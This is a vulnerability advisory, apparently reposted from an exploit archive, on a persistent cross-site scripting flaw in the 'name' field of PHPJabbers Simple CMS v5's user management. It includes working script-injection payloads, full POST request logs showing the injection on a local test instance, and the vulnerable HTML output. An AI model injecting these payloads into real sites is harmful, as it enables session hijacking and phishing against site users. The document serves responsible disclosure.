发布 2021-11-03 漏洞条目

PHPJabbers Simple CMS 5 – ‘name’ Persistent Cross-Site Scripting (XSS)

Exploit Source

# Exploit Title: PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS)

# Date: 2021-10-28

# Exploit Author: Vulnerability-Lab

# Vendor Homepage: https://www.phpjabbers.com/faq.php

# Software Link: https://www.phpjabbers.com/simple-cms/

# Version: v5

# Tested on: Linux

Document Title:

===============

PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2300

Release Date:

=============

2021-10-28

Vulnerability Laboratory ID (VL-ID):

====================================

2300

Common Vulnerability Scoring System:

====================================

5.4

Vulnerability Class:

====================

Cross Site Scripting - Persistent

Current Estimated Price:

========================

500€ - 1.000€

Product & Service Introduction:

===============================

A simple PHP content management system for easy web content editing and publishing. Our PHP Content Management System script is designed

to provide you with powerful yet easy content administration tools. The smart CMS lets you create and manage multiple types of web sections

and easily embed them into your website. You can upload a wide range of files and add users with different user access levels. Get the

Developer License and customize the script to fit your specific needs.

(Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ )

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application.

Affected Product(s):

====================

PHPJabbers

Product: PHPJabbers Simple CMS v5.0 - (Web-Application)

Vulnerability Disclosure Timeline:

==================================

2021-09-01: Researcher Notification & Coordination (Security Researcher)

2021-09-02: Vendor Notification (Security Department)

2021-**-**: Vendor Response/Feedback (Security Department)

2021-**-**: Vendor Fix/Patch (Service Developer Team)

2021-**-**: Security Acknowledgements (Security Department)

2021-10-28: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Medium

Authentication Type:

====================

Restricted Authentication (Moderator Privileges)

User Interaction:

=================

Low User Interaction

Disclosure Type:

================

Responsible Disclosure

Technical Details & Description:

================================

A persistent input validation web vulnerability has been discovered in the in the PHPJabbers Simple CMS v5.0 web-application.

The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise

browser to web-application requests from the application-side.

The persistent vulnerability is located in the create (pjActionCreate) and update (pjActionUpdate) post method request.

Privileged authenticated accounts with ui access are able to inject own malicious script code as name for users.

The script code execution is performed after the inject via post method in the user list (pjAdminUsers).

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external

redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):

[+] POST

Vulnerable Module(s):

[+] Create (Add)

[+] Update

Vulnerable Parameter(s):

[+] pjActionCreate

[+] pjActionUpdate

Affected Module(s):

[+] pjAdminUsers

Proof of Concept (PoC):

=======================

The persistent web vulnerability can be exploited by remote attackers with privilged user accounts with low user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payloads

"><img src=evil.source onload=alert(document.cookie)>

"><img src=evil.source onload=alert(document.domain)>

--- PoC Session Logs (POST) [Add & Update]

https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate

Host: phpjabbers-cms.localhost:8080

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Content-Type: application/x-www-form-urlencoded

Content-Length: 178

Origin:https://phpjabbers-cms.localhost:8080

Connection: keep-alive

Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate

Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;

_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;

pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1

user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T

POST: HTTP/1.1 303

Server: Apache/2.2.15 (CentOS)

Location: /1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8

https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate

Host: phpjabbers-cms.localhost:8080

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Content-Type: application/x-www-form-urlencoded

Content-Length: 180

Origin:https://phpjabbers-cms.localhost:8080

Connection: keep-alive

Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2

Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;

_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;

pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1

user_update=1&id=2&role_id=2&email=test@test.de&password=test&name=r"><img src=evil.source onload=alert(document.cookie)>&section_allow=1&file_allow=1&status=T

POST: HTTP/1.1 303

Server: Apache/2.2.15 (CentOS)

Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01

Keep-Alive: timeout=10, max=83

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8

https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source

Host: phpjabbers-cms.localhost:8080

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Connection: keep-alive

Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03

Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6; pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;

_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx; simpleCMS=5if2dl1gd2siru197tojj4r7u5;

pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1

GET: HTTP/1.1 200 OK

Server: Apache/2.2.15 (CentOS)

Content-Length: 380

Keep-Alive: timeout=10, max=89

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Vulnerable Source: index.php?controller=pjAdminUsers (&action=pjActionIndex&err=AU03)

<select data-name="status" style="display: none;" class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option>

<option value="F">Inactive</option></select></td><td><a href="https://www.exploit-db.com/exploits/50475/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=1"

class="pj-table-icon-edit"></a></td></tr><tr class="pj-table-row-even" data-id="id_3"><td><input type="checkbox" name="record[]" value="3"

class="pj-table-select-row"></td><td class="pj-table-cell-editable">

<input type="text" data-name="name" style="display: none;" class="pj-form-field pj-form-text

pj-selector-editable" value="r"><img src=evil.source onload=alert(document.cookie)>"></td><td class="pj-table-cell-editable">

<span class="pj-table-cell-label">test@ftp.world</span><input type="text" data-name="email" style="display: none;"

class="pj-form-field pj-form-text pj-selector-editable" value="test@ftp.world"></td><td><span class="pj-table-cell-label">06-09-2021</span></td>

<td><span class="pj-table-cell-label"><span class="label-status user-role-editor">editor</span></span></td><td class="pj-table-cell-editable">

<span class="pj-table-cell-label pj-status pj-status-T">Active</span><select data-name="status" style="display: none;"

class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option><option value="F">Inactive</option></select></td>

Reference(s):

https://phpjabbers-cms.localhost:8080/

https://phpjabbers-cms.localhost:8080/1630949262_438/

https://phpjabbers-cms.localhost:8080/1630949262_438/index.php

https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate

https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate

Credits & Authors:

==================

Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:

=========================

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作者: Vulnerability-Lab
日期: 2021-11-03
类别: webapps
平台: php

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